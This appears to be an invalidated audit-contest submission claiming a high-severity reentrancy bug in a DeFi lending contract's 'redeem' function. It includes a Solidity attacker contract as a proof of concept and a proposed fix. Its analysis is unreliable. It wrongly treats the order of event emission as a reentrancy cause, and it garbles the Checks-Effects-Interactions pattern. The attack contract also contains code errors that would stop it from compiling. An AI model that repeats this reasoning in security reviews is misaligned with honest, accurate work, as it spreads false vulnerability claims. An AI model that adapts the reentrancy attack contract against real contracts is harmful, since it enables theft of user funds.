Beginner FriendlyFoundryDeFiOracle
100 EXP
View results
Submission Details
Severity: high
Invalid

[H-7] 'redeem' Function Re-entrancy

Summary

The contract emits an event before transferring assets, which can potentially lead to reentrancy attacks. In the provided snippet, the emit Redeemed event should be called after all state changes, including token transfers, are finalized to prevent attackers from exploiting the reentrancy vulnerability.

Vulnerability Details

Vulnerable code:

function redeem(
// @audit-issue Reentrancy
IERC20 token,
uint256 amountOfAssetToken
)
external
revertIfZero(amountOfAssetToken)
revertIfNotAllowedToken(token)
{
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
if (amountOfAssetToken == type(uint256).max) {
amountOfAssetToken = assetToken.balanceOf(msg.sender);
}
uint256 amountUnderlying = (amountOfAssetToken * exchangeRate) / assetToken.EXCHANGE_RATE_PRECISION();
emit Redeemed(msg.sender, token, amountOfAssetToken, amountUnderlying);
assetToken.burn(msg.sender, amountOfAssetToken);
// @audit-issue [H-9] Possible Reentrancy. Call this before the emitting redeemed.
assetToken.transferUnderlyingTo(msg.sender, amountUnderlying);
}

Impact

  1. If an attacker exploits reentrancy vulnerability, they may be able to perform unexpected actions in between the event emission and the transfer of assets. This could lead to losses or inconsistencies in contract state, posing a risk to contract integrity and user funds.

POC

  1. To exploit the reentrancy vulnerability in the original redeem function, an attacker would create a malicious contract that calls the redeem function and then re-enters the redeem function when the AssetToken contract transfers the underlying asset to the attacker's contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IAssetToken {
function redeem(IERC20 token, uint256 amountOfAssetToken) external;
function transferUnderlyingTo(address recipient, uint256 amount) external;
function burn(address from, uint256 amount) external;
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
}
contract MaliciousContract {
IAssetToken public immutable assetToken;
IERC20 public immutable token;
bool public attackInProgress;
uint256 public reentryAmount;
// The constructor initializes the references to the AssetToken and the ERC20 token
constructor(address _assetTokenAddress, address _tokenAddress) {
assetToken = IAssetToken(_assetTokenAddress);
token = IERC20(_tokenAddress);
}
// This function is used to start the attack
function startAttack(uint256 _amountOfAssetToken) external {
reentryAmount = _amountOfAssetToken;
attackInProgress = true;
assetToken.redeem(token, reentryAmount);
}
// Fallback function used to perform reentrancy when the AssetToken contract sends funds
fallback() external {
if (attackInProgress && address(token).balanceOf(address(this)) > 0) {
// Reentering the redeem function during the transfer of funds
assetToken.redeem(token, reentryAmount);
}
}
// Function to receive the transfer from the redeem function
function receiveUnderlying(uint256 amount) external {
// Do nothing, just to show the funds are received
}
// Function to withdraw any tokens sent to this contract by mistake or as part of the profit from the attack
function withdrawToken(address _to, uint256 _amount) external {
token.transfer(_to, _amount);
}
}

Tools Used

  1. Manual Review

  2. Vs Code

Recommendations

  1. Reorder Operations: Ensure the transferUnderlyingTo function call is executed before the emit Redeemed event. This follows the Checks-Effects-Interactions pattern, which mitigates the reentrancy risks by ensuring that all state changes are completed before any external calls or event emissions occur.

  2. Use of Reentrancy Guard: Implement a reentrancy guard mechanism as an additional preventive measure. The nonReentrant modifier from OpenZeppelin's ReentrancyGuard can be used to protect against reentrancy by making sure that no nested calls can occur.

Possible fix:
By moving the emit statement to after the transferUnderlyingTo call and performing the burn operation beforehand, this function's flow now properly guards against reentrancy attacks by ensuring that all state modifications are completed before any external interactions take place.

function redeem(
// @audit-issue Reentrancy
IERC20 token,
uint256 amountOfAssetToken
)
external
revertIfZero(amountOfAssetToken)
revertIfNotAllowedToken(token)
{
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
if (amountOfAssetToken == type(uint256).max) {
amountOfAssetToken = assetToken.balanceOf(msg.sender);
}
uint256 amountUnderlying = (amountOfAssetToken * exchangeRate) / assetToken.EXCHANGE_RATE_PRECISION();
// Perform the burn operation before the external call to transfer funds.
assetToken.burn(msg.sender, amountOfAssetToken);
assetToken.transferUnderlyingTo(msg.sender, amountUnderlying);
// Emit the event after the state changes and the external call to transfer funds.
emit Redeemed(msg.sender, token, amountOfAssetToken, amountUnderlying);
}
Updates

Lead Judging Commences

0xnevi Lead Judge
over 1 year ago
0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Other

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.